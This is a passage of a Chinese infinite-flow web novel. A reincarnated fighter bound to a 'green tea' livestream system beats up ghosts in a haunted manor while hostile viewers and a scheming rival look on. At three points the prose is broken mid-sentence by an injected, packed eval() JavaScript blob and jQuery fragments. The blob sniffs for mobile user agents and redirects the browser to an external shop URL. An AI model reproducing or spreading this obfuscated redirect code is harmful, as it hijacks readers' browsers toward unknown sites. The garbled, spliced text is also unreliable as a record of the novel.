《漂亮绿茶,carry全场[无限]》
1. 唐顿庄园(一)
“所以,真的不能打个商量吗?”
系统的准备空间里,无限纯白的小型立方体中,安哲垂首静立,精致的脸蛋上写满了跃跃欲试。
“你先预支一部分力量给我,我带你杀穿全场。”
【……真的不行啊亲亲!】
已经和安哲沟通好久,但全都沟通崩了的系统无声尖叫。
【我是绿茶系统,你只有足够绿茶才能获得力量Q口Q】
安哲:“……”
“但问题是我不会绿茶啊,我们那边不搞这个,全靠武力说话,我是我们那边出了名的能打……”
阵亡在末世最后一波丧尸潮的安哲也很迷惑:“你个绿茶系统是怎么绑上我的?”
【没办法我太菜了,等级太低,你是我能匹配到的新鲜死亡宿主池里,脸长得最好看的一个】
或许是没有带宿主的经验,绿茶系统上来就自爆了短板。
他对着安哲好看的脸蛋和修长身材吹了好大一通彩虹屁,而后拍胸-脯保证道。
【放心亲亲,我给你准备好了绿茶常用语录和模板,你到时候照着套就好】
【颜值区主播主要就是靠脸和身材的,到时候你遇见鬼了哭一哭再露一露,心疼你的观众打赏点积分,赚点情绪值,我们就有钱和能量啦!】
“……”,安哲无声沉默。
你们这个直播怎么听起来这么不正经。
“反正,情绪值能转换成能量对吧,能让我自由支配的力量?”
安哲叹了口气,抓住了对他来说的重点。
【对的亲亲,能量必须是靠绿茶行为产生的情绪波动哦,其他的系统收集不了】
系统贴心提示,【还有什么疑问吗亲亲,传送将在一分钟后进行】
“没有了,你能换个称呼吗,亲亲听起来好奇怪。”
【那就喊你哲哲吧】
系统有点小羞涩,【你还是我带的第一个宿主呢嘿嘿】
感受着这铺面而来的傻白甜气息,安哲又叹了口气。
他从小在末世长大,最讨厌的东西就是傻白甜和圣母,偏偏系统是和他绑定的,某种意义上来说还救了他一命。
“随你,都行。”
安哲打开系统传给他的绿茶模板,皱着眉头开始背这些奇怪公式。
【系统传送中,欢迎进入无限游戏】
.
“唔……”
轻微的眩晕感传来,仅仅一晃神的功夫,安哲就发现周围的景色变了。
阴冷,潮湿的感觉从四面八方传来,一道雷光闪过,短暂照亮了漆黑一片的室内。
陈旧破裂的家具,厚厚堆积着的灰尘,霉味在潮湿阴冷的空气中肆意扩散,巨大的、蒙着黑布的画框正对床头。
安哲躺在房间正中央的床上,看上去小小一团,他身上压着床十分厚重的被子,不知是不是放久了的缘故,被子的味道闻起来除了霉味,还带着股淡淡的腥。
这似乎是间废弃了很久的现代化房间,他身下床板的触感格外古怪。
摸了摸身下的床板,安哲将身上压着的被子推开试图起身,而就在他支撑起身子的那一刻,耳边,液体滴落的声音响起。
滴——滴答——
安哲腰身忽然扭转。他抓住从身后袭来的手腕凌厉回身,眸光冷淡微眯。
“谁?”
【哲哲,绿茶绿茶!】
系统焦急提醒。
【新手副本一般简单,之后副本死亡率贼高,我们得抓住机会多赚点能量值】
差点忘了……公式怎么说来着,见面微笑叫哥哥?
侧身躲过肿胀身影的再一次攻击,安哲在阴冷气息的侵蚀下将他扣住的那只手腕放开。
他盯着眼前身影,迟疑片刻后扬唇,愣是在精致的脸蛋上扯出了一抹狰狞笑意。
“哥哥,跟谁两呢?”
系统&偷袭鬼影:“……”
“竟然真的有用!”
效果立竿见影,几乎就在安哲喊出“哥哥”的那一刻,偷袭鬼影就因为这离谱反差愣在原地。
在被安哲不清楚它有没有搞鬼,顺手抽了它个大-逼兜后,偷袭鬼影出离怒了。
【收集到庄灿的负面情绪,能量值+99……】
【收集到庄灿的负面情绪,能量值+444!】
源源不断的阴冷能量在安哲体内冲刷,终于拿回了点熟悉力量,安哲脸蛋微红。
与之相对的,是一道饱含愤怒的凄厉尖啸声在古堡内响起。
其他房间里,正在被鬼影追杀,或困住鬼影后大肆探索的玩家齐齐一惊。
[不是吧,这次的新人这么猛,刚进来就触发潮湿鬼影二阶段了?]
[有点好奇,我去那边直播间看看,说不准就是战斗区未来的一匹小黑马呢。]
[看了也白看,主播他们这次用特殊道具进新手副本就是奔着屠本来的吧,新人活不下来的啦,早晚都得死,希望能死在我们镜头前,期待搓手手.jpg]
[嘻嘻杀杀杀,又到了爷最爱的赛博斗蛐蛐环节,弄血腥点给你打赏嗷,我要看血流遍地!]
不同于其他新人直播间里寥寥无几的冷清气氛,此时此刻,祁槐辛的直播间中。
层层叠叠的弹幕正刷得飞起,乐子人、押注斗蛐蛐和血腥刺激人遍地都是。
“大家放心,该有的全都会有。”
“到时候给大家开积分投票,想让他们怎么死你们做决定,大家提前准备好积分哦~”
和其他新人,嗯,除安哲以外的其他新人被困锁在房间内,被房间里鬼怪追杀疯狂逃窜的狼狈不同,祁槐辛正动作随意地在房间里翻找,样子看起来潇洒肆意极了。
“每次新手副本都会有这样的新人冒出,但令人眼前一亮的新人,不一定最终就能活着出去。”
祁槐辛耸了耸肩,毫不在意地和直播间内的观众们聊天。
弹幕内容只有在涉及到副本情报、别的主播进度动作等内容时才会被打码,祁槐辛看着满屏血腥暴力,恶意满满的直播弹幕,微笑着咧了咧嘴。
“既然大家都对这个新人这么期待的话,那我等下就发挥一下和谐友爱的精神,多照顾他一下好了。”
在他身后,膨胀到两米多高的白色鬼影发出怒吼,无能狂怒地在困住它的玻璃罩中四处乱撞。
祁槐辛动作不停地翻找屋内线索,唇边笑意冰冷。
呵,很有潜力的新人吗,死在他手里已经不知道多少个了。
与此同时,另一边。
安哲所在的房间里。
砰砰的击打声不断传出,时不时地还传来几句被打疼了的骂声与呓语。
“别打了……草……别打了!你他吗力气怎么这么大!”
【收集到庄灿的负面情绪,能量值+555!】
之前还能打个势均力敌的肿胀身影此刻正抱着脑袋,仗着房间里地形比较熟的优势飞速逃窜。
边跑边忍不住对身后穷追不舍的安哲怒骂出声。
“就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521021|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一过来探险迟早要死在这里的破人类,我警告你不要太过分了!”
【收集到庄灿的负面情绪,能量值+666!】
“哥哥,你别跑啊哥哥。”
感受到系统传来的阴冷能量似乎有衰弱的架势,正追在后面捏着拳头锤人的安哲赶紧补上了两句哥哥。
或许是运动量过量的缘故,他脸蛋红扑扑的,此时眸光闪亮,眼睫毛垂下来的样子颇有几分我见犹怜的味道,目光含泪的样子看得人心都痛了。
前提是忽略掉他手上的动作和脸颊处溅上的暗红色血迹。
“别跑了哥哥,你等等我。”
“别跑了,赶快停下来听到没有?……哥哥哥哥,喊你哥哥呢!”
【收集到庄灿的负面情绪,能量值+777!】
“他吗的,你神经病啊!”
伴随着安哲催魂般不断响起的“哥哥”声,在房间里死命逃窜,玩极限跑酷抓住就死的肿胀鬼魂气得眼都红了。
从来都是它们主动猎杀误入城堡或过来探险的人类的,它什么时候受过这种委屈!
飞速乱窜的肿胀身影越想越气,默默积蓄着力量,几分钟后,忍无可忍的它转身,仰头向着安哲发出一声怒吼。
“我他吗跟你拼了!”
肿胀身影仰头暴风吸入,房间内湿度飞速下降,呼吸间不再带着水汽,干燥得令人有些不适。
与之相对的,则是肿胀鬼魂进一步膨胀的身影,与那明显变强的气势。
“怨悔吧人类,你将为你的狂妄付出代价!”
吸入房间内的大量水汽后,肿胀身影的意识狂暴混乱了不少。
阴冷的气息在房间内徘徊,冷的像是掉进了冰库,寒冷的气息黏在安哲皮肤上,直勾勾地往骨头里钻。
肿胀身影看着愣在原地,似乎是被他吓到正在发呆的安哲,心头积攒的火气一扫而空。
想想马上就要将安哲按在地上蹂-躏,前所未有的舒爽感席卷了庄灿的心头。
它桀桀怪笑着向安哲冲去,激动得眼角裂开,眼珠猩红,身子不停的抖。
“我会把你做成标本的,拔掉皮肤抽去骨头,血流干流尽,灵魂困在干扁的肉块中享受永生永世的痛苦与哀嚎,最终溺死在阴冷潮湿的河流里被啄食干净,我发誓!我发誓!!!”
它狂喜尖啸着向安哲抓去,速度快得几乎看不清残影。
冲过去的前一刻,仿佛加速度过快,大脑充水出现了幻觉般,它听到愣在那里的安哲喃喃说道。
“原来力量上限是受你影响的啊……”
嗯?
肿胀身影抬眼向安哲看去。
眼前这个身段纤细,脸蛋漂亮,光看外表他一只手能撕裂十个的少年此刻正站在阴影处,并不能看清他脸上此刻的表情。
肿胀鬼影下意识不安,本能开始疯狂尖啸。
仿佛眼前是个披着人皮的怪物般,逃跑的欲望顷刻间就占据了上风。
但是却已经来不及了。
在被毒打前的最后一秒,肿胀鬼影看到安哲笑眯眯地问它。
“哥哥,你听过‘邦’吗?”
邦!邦邦!!邦!!!!
怨愤到了极点的凄厉尖啸声在古堡内嘶吼回响。
二楼其他房间里,正追着其他玩家试图啃个胳膊腿尝尝,或被其他玩家困在原地无能狂怒的肿胀身影们动作齐齐一顿。
它们扭头,错愕地看向安哲所在的房间方向。
兄弟你遇上啥了,叫成这样?
2. 唐顿庄园(二)
房间里,激烈的追逐战还在进行。
爆种开大后被自己看不起的人类按在地上乱锤,此时此刻,名为庄灿的肿胀鬼影都要气疯了。
它手脚并用地飞速逃窜满屋乱爬,嗓音尖锐刺耳,气得嗷嗷狂叫。
直到追在后面撵鬼的安哲嫌他吵,抬手将他的头盖骨锤裂,并温柔问它“哥哥你能安静一点吗?”后。
肿胀鬼影这才安静下来,并无师自通地学会了什么叫素质和不要大声吵闹。
咔——咔嚓——
不知不觉间,脑海中,钟表指针转动的摩擦声越来越响,一个倒计时的观念出现在了古堡内的所有玩家脑中。
看着肿胀鬼影那瞬间狂喜,一脸“得救了”的表情,冷静下来的安哲停下动作站在原地,皱着眉头开始警戒。
咔嚓——
咔嚓——
最后几秒的倒计时声音越来越大,声如洪钟,那声音直接出现在脑海里,震得安哲都恍惚了一瞬。
敏锐捕捉到了安哲此刻的不在状态,只是挨打,并不服气的庄灿拖着自己肿胀身躯,试探性地往安哲那边挪了几步。
下一秒,看着安哲瞬间垂来的视线,庄灿下意识打了个哆嗦,被水泡得发白发胀的丑脸上挤出了抹讨好笑容。
“嘿,嘿嘿……”
我没动手,你可不能打我嗷。
轰鸣声愈发激昂,伴随着最后一秒倒计时“咚”的一声敲响,安哲眼前一花。
刚刚还窝在房间角落里,正对他讨好丑笑的肿胀身影消失不见,原本湿漉漉的空气也恢复到了正常水平。
仿佛是梦般,刚才经历的一切瞬间消散,徒留安哲一个人站在像是刚被龙卷风洗劫了一场的房间中央。
他低头看了看手,体内,刚才庄灿贡献的力量还没有消失,或者说,充裕得异常。
“打了一架贡献了省着点用,能将近用一天的能量,这家伙人,啊不,鬼还怪好的嘞……”
清点了一下自己刚刚的收获,安哲舒了口气,对系统找上自己已然有了新的认知。
“职业特殊能直接接触到鬼,能从鬼的身上获取大量能量,身体异常抗凑,受伤战损后恢复力出奇的高……”
安哲感慨万分:“你们颜值区主播还真是天生的战斗好手。”
【……不许你这么说颜值区主播,绿茶系统不是让你这么用的啊啊啊!】
被安哲的一通操作从头震惊到了尾,现在才反应过来的小系统听到他这番话,气得眼眶都红了。
它小声嘟囔了几分,而后催着安哲去看系统面板。
【哲哲你快去看系统面板,刚才完成任务奖励了你一笔积分,还有就是直播评论,你快去看看吧,弹幕全都在骂你】
安哲:……?
骂他?
他刚才那架打得还不够漂亮吗?
他有什么好骂的?
安哲皱眉点开直播弹幕,下一秒,宛如戴上了副无框眼镜般,几行透明的蓝色小字飘过,位置始终保持在不影响他视线的前方靠上。
[牛逼,开播6分钟23秒了第一次看评论区,怎么,都打完了想起来还有我们这群观众了?:)]
[已经有人去举报你了捏,嘻嘻,在颜值区挂羊头卖狗肉的sb主播,等着被封-杀吧你!]
[也不是没有补救办法,你现在追上刚才的鬼影磕三个头,躺平了刨开肚子让它吃完不死,叫得好听点多洒点血出来我们就原谅你,考虑一下呗XD]
“……”,看着弹幕满满恶意的安哲皱眉。
哪来的这么多赛博傻逼?
而且举报他是什么意思?
左下角的小区域同样是个透明板块,能翻直播间的历史评论。
仗着直播间人数不多历史弹幕也不多,安哲撸了把微湿的头发,用精神力往上硬翻。
直接把历史弹幕拉到了顶,安哲终于搞懂了举报他是什么意思。
和战斗区不怎么关注新人不同,颜值区的观众还挺爱照顾新手主播的。
安哲刚开播就有人点进直播间发弹幕,几个观众还在直播间里兴致勃勃地聊了起来。
[哇哦,这个新手主播长得不错哎,关注了,期待死法]
[上来就躺床上,不会又是个想靠美貌走后门的吧?嘻嘻,副本里的鬼怪可不吃这个]
[啊啊,想想主播衣服半脱的去勾引,却被鬼怪按在地上撕开血肉折磨的样子,我已经开始提前兴奋了!]
[来来开盘了,赌主播是被开膛还是破肚,被杀需要几秒?]
类似的弹幕还有很多,堪称安哲直播间里弹幕数量最活跃的小高峰。
然后紧接着就是安哲徒手上演‘邦邦’神曲,在微笑着教会肿胀鬼影安静和不要吵闹。
被安哲一通操作硬控了几分钟的直播间里,飘起了一片迅猛无比的问号。
[???]
[?????]
[他吗的他跑错频道了吧,傻-逼无限游戏把战斗区的新人往颜值区塞?那个智障AI又出bug了?]
[战斗区不爱看新人就往颜值区挤,觉得我们颜值区观众好欺负呗,等着嗷我现在就去举报你,乱蹿区等着被无限游戏封号吧你!]
[大力支持]
[支持+1,建议直接物理封杀封号嘻嘻!]
安哲:“……”
好一出精神病大戏。
但他现在也没被封号啊。
“系统,有人举报我蹿区了?”
安哲一边在直播间弹幕里见识物种多样性,一边在心里好奇询问。
“他们成功了没?”
讲道理,他这么能打,把他塞在颜值区这个出了名的废物花瓶受虐组里,确实很不合理。
【我看看,一分钟前确实有针对哲哲你蹿区的少量言辞过激举报,但都被主系统驳回了】
【分在哪个区主要是看天赋啦,哲哲你的天赋技能是通过对人类或鬼怪的绿茶行为,引起情绪波动来吸收能量,妥妥的颜值区天赋好吗!】
小系统担心安哲难过,还特意安慰安哲。
【别说是举报你蹿区了,就算你自己想改区都改不了的,铁一般的事实,这些人不懂别听他们瞎叭叭】
“……好”,安哲对自己被骂了不难过,对自己改不了区反而更难过一点。
“不过,人类的情绪波动我也可以收集?”
安哲眨了眨眼,好奇问道:“那直播间观众的情绪波动我能收集吗?”
【呃,不行哎,他们不是人类,哲哲你的技能收取不了】
好吧,那就不薅羊毛了。
看着弹幕区里实时直播的【草了,无限系统驳回了我的投诉,我就说那个傻逼AI一点都不智能】的破防评论,安哲咽下了嘴边本来准备薅能量值的“哥哥”。
他扬起唇角,确定观众们的注意力都转移过来后,他冲着镜头露出一个迷之微笑。
这就着急破防啦。
嘻嘻。
[焯!!]
看着安哲这针对性满满的微笑,直播间里,本就对安哲一肚子火气的观众们一秒破防。
[他这是在挑衅吧?他这是在挑衅吧!!怎么敢的啊?!!]
[受不了了,吗的,谁有道具赶快让他去死一死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521022|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
]
[没有这种道具的你醒醒,颜值区观众能打赏的道具都是恢复型的,目的就是让主播危急时刻为了能有道具活下来而讨好观众,满足那些在积分悬赏任务上过不了审的要求……]
[……但是这货明摆着不缺道具啊,我感觉之前被他锤的那个鬼反而更需要我们打赏,皱眉.jpg]
看着弹幕区的大型破防现场,安哲突然体会到了赛博斗蛐蛐的快乐。
顺着历史弹幕往下翻了翻,安哲看着高频出现的“道具”二字好奇挑眉。
“道具是什么,我能自己买吗?”
【可以的哲哲,系统商城在第一个任务完成后开放,完成任务后会下发积分,然后就能去商城消费了,里面道具很多哒,除了贵之外没有别的缺点】
任务,他刚才好像已经完成了一个?
安哲打开任务区,发现里面竟然挂着两条任务。
【任务一:躲过房间内鬼影的追杀并活下去,当前状态(已完成),任务评价:S,积分奖励:1000】
【任务二:找出古堡惨案的真相,当前进度:0%,任务奖励:少量积分,进度达到60%后可通关离开副本】
房间外,轻微的脚步声响起。
正准备去系统商城看看的安哲回过神来,他收敛气息,将有些影响视线的系统界面关掉,而后动作迅速地藏到了床后。
吱呀一声,老旧房门被推开,有些杂乱的脚步声响起。
片刻后,似乎是被房间里过于凌乱破碎的样子吓到,房间里又多出了好几道倒吸冷气的声音。
“怎么搞成了这样……人还活着吗?”
“这个房间就是刚才鬼叫得特别厉害的房间吧,祁哥,这人可能是个和你一样的新人大佬!”
“别拿什么人都和祁哥比,这人明显比不上祁哥好吧,还活不活着都两说呢。”
“不好意思哈大家,我还没死。”
确定了来的是人后,藏在床后的安哲从藏身处起身,遗憾离开。
调整了一下脸上表情,在末世中早就学会“人比怪物更可怕”的安哲垂眼,表情乖巧地对眼前众人笑道。
“哥哥们好。”
“……”
刚经历完一场恐怖追杀,其他人都对安哲这上来就喊哥哥的样子有些不自在,多多少少贡献出了点情绪值。
只有祁槐辛看着安哲那漂亮的脸蛋,纤细的身段,以及那周身满是小白花的纯良与茶香四溢的芬芳气息,所有所思地笑了一下。
“你是颜值区主播?”
把自己伪装成了一朵温润无害小白花的安哲乖巧点头。
“这样啊,难怪。”
祁槐辛又笑了笑,他本就是老玩家伪装过来的新人,此时看向安哲的表情愈发不屑。
怪不得,怪不得这房间看起来那么激烈,怪不得刚才那只鬼影兴奋得叫成那样。
其他玩家是还没接触过颜值区主播的纯萌新,此刻虽然觉得安哲有些奇怪,但也没有多想。
他们将安哲围在中间,期待而又审视地问道。
“你刚才在这屋找到什么情报了吗?”
“或者从鬼的身上有没有得到什么线索?”
“……啊?”
正努力装小白花的安哲缓缓愣住。
情报?
线索?
还能从鬼身上得到的?
那他怎么没有???
安哲瞪圆眼睛,一脸不可思议地想道。
不是吧,嘴这么硬的吗?
他刚才按着那家伙揍了将近六分钟,那家伙可是一个字都没跟他说啊!!
3. 唐顿庄园(三)
“呃……没发现什么线索的话也没事,毕竟只有你这里的鬼疑似狂暴化,能活下来就不容易了。”
看着安哲有些无措的样子,一个带着黑框眼镜的男人率先开口安慰,似乎是想掌握话语权当团队中的领头羊。
“不过大家的线索都是互换的,”黑框男笑着说道。
“如果你拿不出什么有用线索的话,我们这边的情报也就没法和你共享了,能理解吧?”
安哲点了点头。
“线索的话我刚才没有发现,不过我能提供一些关于鬼的情报。”
闻言,已经四散开来,准备在安哲房间翻找线索的众人眼睛一亮,纷纷起了兴趣。
“什么线索?”
“狂暴化的鬼好对付吗,强吗?”
“你怎么在狂暴化的鬼攻击下活下来的?”
“其实鬼的状态不是两阶段,是三阶段的。”
安哲没有理会他们一哄而上的询问,他瞄了眼站在不远处,始终笑眯眯地看着他的祁槐辛,微笑着小声开口。
“最开始出场会有比较明显的滴答水声,周围空气开始变得湿冷,这时候的它出手动作较慢,躲避起来很容易。”
“生气后进入二阶段,速度明显变快,力量小幅度增强,没有速度那么明显。
狂暴化时会鲸吞掉周围水汽,力量速度都大幅度增强,能快上两三倍吧。”
“至于怎么活下来的……就是能打过就打,打不过就跑。”
看着这群人在初始阶段的肿胀鬼魂追逐下都各个带伤,除了祁槐辛外一个塞一个凄惨的样子,安哲也没有藏私,将线索直接分享。
这座古堡给他的感觉很不对劲,安哲从睁眼的那一刻起,就一直感觉自己被默默窥视着。
但不管他怎么张扬,追在肿胀鬼影的身后把它的头当锣鼓敲,预想中的异动却始终没有到来,只有阴暗的视线如影随形地始终存在,渴望而又冰冷。
“对了,还有床板。”
安哲冲床那边扬了扬下巴,面无表情地说道。
“你们找线索的时候注意一点,外面绷着的应该是人皮。”
闻言,正掀起床板,查看床铺下方的中年男人手猛地一抖,他受惊般下意识丢开了手中床板,连连甩手直嫌晦气。
伴随着‘咚’的一声巨响,床板狠狠砸在床框上,反弹了几下后才摔落在地,扬起好大一片灰尘。
——▇▇!!
所有人都听到了一声饱含愤怒和怨毒的嘶吼声。
蠢货。
察觉到了人皮鬼将仇恨值锁定在了中年男人头上,用天赋技能扫了一眼的祁槐辛唇角微勾。
虽然有点疑惑人皮鬼为什么会放过最先接触的安哲,将目标锁定在了中年男人的头上,但结果总归是好的。
只有死人了,才可以更快的得出线索。
新手副本就是这点不好,里面的鬼怪过于温和,要满足好几个条件才会下死手,犹犹豫豫的杀人都杀不利索。
不过好在,有他帮忙。
多死一点才好啊,祁槐辛在心中咏叹道,快点死光吧。
圣器的出现需要鲜血的浇灌,能成为那位伟大存在的一份子,是你们这些蝼蚁这一生最大的荣耀!
“你他吗……怎么不早说!”
身为被人皮鬼盯上的当事人,中年男人此刻的脸色极差。
他阴沉地盯着安哲,脸色阴郁得像是能挤出水来。
耷拉在脸颊处的肥肉不停的抖,中年男人看着安哲纤细柔弱的身板,缓缓握紧了拳头。
“你是不是故意的?说!你他吗肯定是故意的,你就是想要害死我!!”
“我不是说了吗,床板,翻的时候小心点,人皮。”
安哲有些疑惑。
“你们应该都知道这是什么地方吧,进了这里还敢那么心大的摔打东西?”
看着脸已经气得涨成了猪肝色的中年男,安哲笑眯眯地补上了句。
“要小心一点啊,哥、哥。”
【收集到赵国强的负面情绪,能量值+144!】
“好了好了,都冷静一下,先找线索吧。”
黑框眼镜男出来打圆场,看着窗外表情担忧。
“这里的天黑得好快,我们得快一点了。”
在潮湿凌乱的房间里探索一圈后,除了人皮床板外没搜到什么有用线索的众人站在房间中央。
下意识的,大家目光不自然地看向那个挂在墙上,正对着床摆放,被黑布蒙着的巨大画框。
都能猜到这个画框不对劲,但有赵国强刚才水灵灵的中招例子在,也没人敢那么头铁地直接上去把黑布掀开。
“要不……”
队伍里,有人目光犹犹豫豫地放在了安哲身上。
虽然话没说完,但所有人都知道他的意思。
既然这画像是挂在你房间里的,要不你就去掀一下?
仿佛发呆般,安哲盯着窗外不知何时起变得漆黑一片的夜色,眉头微蹙着没有出声。
担心他偷偷发现了什么,祁槐辛开启天赋,往安哲目光所在的方向扫了一眼。
确定了那边并没有能被仇恨值检索到的鬼怪后,觉得安哲这个废物花瓶在虚张声势的祁槐辛轻蔑一笑。
他收回目光,趁着技能还没结束的最后几秒,祁槐辛往墙上挂着的巨大画框上扫了一眼。
片刻后,祁槐辛眯眼,突然笑着向安哲看去。
“一直僵持在这里也不是个事,要不这样吧,我帮你把黑布掀开,然后大家一起去一楼探索。”
“唔,也行。”
安哲从窗外收回视线,想了想后笑着对祁槐辛说道。
“那谢谢你了,你人还怪好嘞哥哥。”
【收集到祁槐辛的负面情绪,能量值+19!】
祁槐辛被安哲的“哥哥”喊得浑身奇怪,皱着眉头向大画框走去。
他在画框的右下角处站定,身体谨慎侧站,而后一声招呼没打,抬手就将蒙着画框的黑布扯掉。
由于事发突然,祁槐辛动手速度过快,除了安哲外的其他人都没反应过来,呆呆地出现在了画框前方。
“嘶——”
“你们快看这画!”
惊呼声接连不断响起,特意站在画框画像看不到角度的祁槐辛冷笑一声,恶意满满地想道。
这画怎么了,画着安哲的样子对吗?
片刻后,祁槐辛意识到不对,在场的人包括安哲在内,好像全都在看他。
排除掉这是在场众人集体和他开的玩笑这一不可能答案后,祁槐辛黑着脸往前走了几步,抬头向画框看去。
只见古铜画框包着的陈旧油画里,一团模糊不清的身影正半撑半起的侧卧在床上,湿漉漉的长发凌乱,脸朝画框外扭曲,看着的……
正是他所在的方向!
草!
和画像人视线对上的那一瞬间,祁槐辛就知道他中招了,原先指向安哲的仇恨值,现在莫名其妙地锁定在了他的头上。
祁槐辛手一甩将黑布重新盖上,看向安哲的目光很是阴沉。
“你故意的?”
“……啊?”
安哲眨了眨眼,仿佛小白花般散发出了一股清澈的迷茫。
“你在说什么啊哥哥,我听不懂。”
【收集到祁槐辛的负面情绪,能量值+99!】
和之前收集到的情绪值完全不是一个量级的。
扫了眼系统记录里,现在都还在持续给他提供着两位数、三位数能量值的庄灿,安哲叹了口气,看向祁槐辛的眼神满是恨铁不成钢。
你是真的不行啊细狗。
祁槐辛:“……?”
不知为何,被安哲的这一眼扫过,一种被看轻蔑视,无端对比下去的愤怒突然袭上祁槐辛心头。
小杂种,你等今晚的。
扫了一眼直播间大肆嘲笑他翻车的弹幕,祁槐辛咬牙,眼中浮现出一抹猩红。
“好了好了,我们赶紧下去吧,这屋里气氛总感觉怪怪的,呆的人心里慌。”
仿佛透不过来气般,黑框眼镜男将衬衫领口的扣子解开了几颗。
他扫了眼屋内情绪各异的众人,眼中淡淡的红光闪过,烦躁地抓了抓头发,黑框眼镜男起身,率先向门外走去。
“赶快去楼下开会吧,二楼这几间卧室情况不对,今晚我们最好都睡在一楼大厅。”
虽然有些诧异他的自作主张,但眼下也没有更好的办法。
卧室确实更危险一点,光安哲这间屋子就有三个鬼,也不知道那家伙是怎么活下来的。
忌惮地扫了眼床板和画框,以及一脸无辜地站在人群旁的安哲,房间里的众人快步离开,稍慢一步的安哲走在最后。
即将离开房间的前一刻,安哲关闭房门的手猛地一顿。
被窥视的感觉再度袭来,仿佛有人在沉睡中向他投来好奇一瞥。
视线沉甸甸地压在安哲身上,眩晕冰冷的感觉如山倾般向他塌陷而来,仿佛要将人原地溺死。
啧……
安哲攥紧扶手,他扛住压力,目光冰冷地向窗外看去。
不出意料地没有逮到正主,安哲轻啧一声呼了口气,低头抿紧唇瓣。
藏头露尾的家伙,迟早把你揪出来。
“楼上的怎么还不下来?快点啊!”
下方,队友不耐烦的呼喊声遥遥传来,嗓音尖利中透着满满的不耐烦。
不知受了什么影响,所有人的情绪似乎都在不知不觉间变得暴躁。
“来了,马上。”
淡淡的红光从安哲眼中浮现,很快便被强压下来,安哲脚步轻快地向楼下走去,解释的笑容乖巧。
“刚才挂在画框上的黑布突然掉了,应该是被风给吹的,我把黑布重新挂上去费了点时间,不好意思。”
一番解释下来,众人的表情顿时变得微妙。
被风吹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521023|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的?
那间卧室他们都搜过,窗户是被某种未知力量锁死的,根本打不开,而且当时祁槐辛把布甩上去的时候用了技巧,布在画框上挂的很死,怎么就被风给吹掉了?
如果不是被风给吹掉的,那就只能是……
盯上祁槐辛的鬼有了进一步异动。
看着众人集中过来的微妙眼神,祁槐辛脸都绿了。
他是有很多道具,但那些都是为了确保能成功唤醒圣器,教团超量发下来的,出去后没用完的还要上交。
毕竟只是个新手副本,就算翻车了祁槐辛也有自信能活着出去,但在新手副本里把教团发下来的宝贵保命道具大量消耗的话……
想想教团内部那些用来惩处的酷烈手段,祁槐辛脸色铁青。
“呵呵,真的是被风吹掉的吗?”
总感觉安哲实在骗自己的祁槐辛冷笑,盯着安哲的眸光阴冷。
“年轻人,小心点,说不好这是鬼在转移目标,已经盯上你了。”
“噢,那倒不会。”
安哲笑眯眯的,轻描淡写地给了祁槐辛又一痛击。
“我看它好像挺喜欢你的,逐渐变清晰的脸都有几分像你了呢哥哥。”
就是骗你的怎么了?
别以为我没看到你当时揭黑布时是冲着我来的,老登。
空气中,火药味渐重。
祁槐辛看着安哲笑眯眯的脸,原本难看的表情突然笑了出来。
“年轻人,还是太心高气盛了。”
说罢坐在沙发上的祁槐辛闭眼,一脸置身事外的淡然,不再参与众人之后的讨论。
[哇哦c级道具,这种道具用在新人身上,主播这是被气狠了啊,斜眼笑嗑瓜子.jpg]
[对面是个颜值主播吧,在那装尼玛呢早就看他不顺眼了,也就新手副本里仗着其他人都不懂还能装一下,正常下本哪个颜值主播不是被队友和鬼怪玩烂的货色,呕]
…
[今晚去围观看看呗,反正同一个副本的主播头像都横着挂在直播间的最上方,跳转挺方便的,赶快死几个人吧,这个本不死人推不下去的,好无聊→_→]
[快点吧,最爱看颜值主播被鬼玩死了,死完剧情也能往下推,嘻嘻,好死开香槟喽!]
就在祁槐辛直播间的观众们嫌弃进度慢,兴高采烈地庆祝终于要死人了的时候。
祁槐辛对面,破旧的单人沙发上,他们的庆祝对象安哲正翻看着所谓的“线索”,眉头紧皱。
现在找到的线索其实不少,日记本,报纸,笔记……但剧情的推进进度还是一点没动。
倒不是线索是假的,据其他房间的人说,这些线索都摆在很显眼的位置,确定起来也十分简单。
——所有文字都被某种未知力量糊住,像打了水印马赛克般,一个字都看不清楚。
某种隐隐约约的直觉在告诉他们,只有鲜血的沃灌才能让祂暂时满足,达成某种条件后才能逃脱这里。
但……谁又愿意去做这个提供鲜血的人?
大家都在等,等第一个横死的倒霉鬼出现,紧张期待着被选中的人不是自己。
除了已经找好下手目标的祁槐辛。
以及正和小系统碎碎念着的安哲。
“这么快就不行了,这家伙也不太顶用啊。”
安哲看着系统面板里的能量值记录发愁。
